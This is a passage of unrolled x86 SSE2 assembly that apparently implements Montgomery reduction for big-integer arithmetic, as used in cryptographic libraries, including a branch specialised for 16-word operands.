movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (104)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (48)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (108)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (108)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (52)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (112)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (112)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (56)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (116)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (100)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (100)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (104)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (104)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (108)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (108)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (112)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (112)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (116)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(60), %edx
jmp .Lfinishgas_1
.Ltst_reduct16gas_1:
cmp $(16), %edi
jne .Lreduct_generalgas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (56)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (60)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
